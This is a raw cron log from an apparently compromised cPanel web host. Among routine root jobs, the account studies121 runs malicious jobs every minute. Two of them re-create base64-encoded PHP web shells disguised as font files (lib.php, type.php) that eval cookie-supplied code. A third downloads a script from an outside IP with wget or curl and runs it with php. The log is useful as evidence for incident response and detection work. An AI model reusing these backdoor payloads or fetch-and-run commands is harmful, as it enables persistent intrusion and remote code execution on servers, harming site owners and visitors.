Sep 21 15:33:01 ip-184-168-122-23 CROND[982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:34:01 ip-184-168-122-23 CROND[1173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:34:01 ip-184-168-122-23 CROND[1175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:34:01 ip-184-168-122-23 CROND[1176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:34:01 ip-184-168-122-23 CROND[1178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:34:01 ip-184-168-122-23 CROND[1177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:35:01 ip-184-168-122-23 CROND[1292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:35:01 ip-184-168-122-23 CROND[1293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:35:01 ip-184-168-122-23 CROND[1297]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 15:35:01 ip-184-168-122-23 CROND[1295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:35:01 ip-184-168-122-23 CROND[1313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:35:01 ip-184-168-122-23 CROND[1315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:35:01 ip-184-168-122-23 CROND[1312]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 15:35:01 ip-184-168-122-23 CROND[1316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:36:01 ip-184-168-122-23 CROND[1524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:36:01 ip-184-168-122-23 CROND[1523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:36:01 ip-184-168-122-23 CROND[1525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:36:01 ip-184-168-122-23 CROND[1526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:36:01 ip-184-168-122-23 CROND[1528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:37:01 ip-184-168-122-23 CROND[1669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:37:01 ip-184-168-122-23 CROND[1671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:37:01 ip-184-168-122-23 CROND[1672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:37:01 ip-184-168-122-23 CROND[1673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:38:01 ip-184-168-122-23 CROND[1800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:38:01 ip-184-168-122-23 CROND[1802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:38:01 ip-184-168-122-23 CROND[1805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:38:01 ip-184-168-122-23 CROND[1803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:38:01 ip-184-168-122-23 CROND[1804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:39:01 ip-184-168-122-23 CROND[1917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:39:01 ip-184-168-122-23 CROND[1918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:39:01 ip-184-168-122-23 CROND[1916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:39:01 ip-184-168-122-23 CROND[1920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:39:01 ip-184-168-122-23 CROND[1919]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 15:40:01 ip-184-168-122-23 CROND[2198]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 15:40:01 ip-184-168-122-23 CROND[2201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:40:01 ip-184-168-122-23 CROND[2200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:40:01 ip-184-168-122-23 CROND[2203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:40:01 ip-184-168-122-23 CROND[2204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:40:01 ip-184-168-122-23 CROND[2211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:40:01 ip-184-168-122-23 CROND[2207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:40:01 ip-184-168-122-23 CROND[2210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:41:01 ip-184-168-122-23 CROND[2360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:41:01 ip-184-168-122-23 CROND[2361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:41:01 ip-184-168-122-23 CROND[2362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:41:01 ip-184-168-122-23 CROND[2363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:42:01 ip-184-168-122-23 CROND[2542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:42:01 ip-184-168-122-23 CROND[2546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:42:01 ip-184-168-122-23 CROND[2544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:42:01 ip-184-168-122-23 CROND[2545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:42:01 ip-184-168-122-23 CROND[2547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:43:01 ip-184-168-122-23 CROND[2949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:43:01 ip-184-168-122-23 CROND[2948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:43:01 ip-184-168-122-23 CROND[2950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:43:01 ip-184-168-122-23 CROND[2947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:44:01 ip-184-168-122-23 CROND[3062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:44:01 ip-184-168-122-23 CROND[3066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:44:01 ip-184-168-122-23 CROND[3064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:44:01 ip-184-168-122-23 CROND[3065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:44:01 ip-184-168-122-23 CROND[3067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:45:02 ip-184-168-122-23 CROND[3204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:45:02 ip-184-168-122-23 CROND[3205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:45:02 ip-184-168-122-23 CROND[3207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
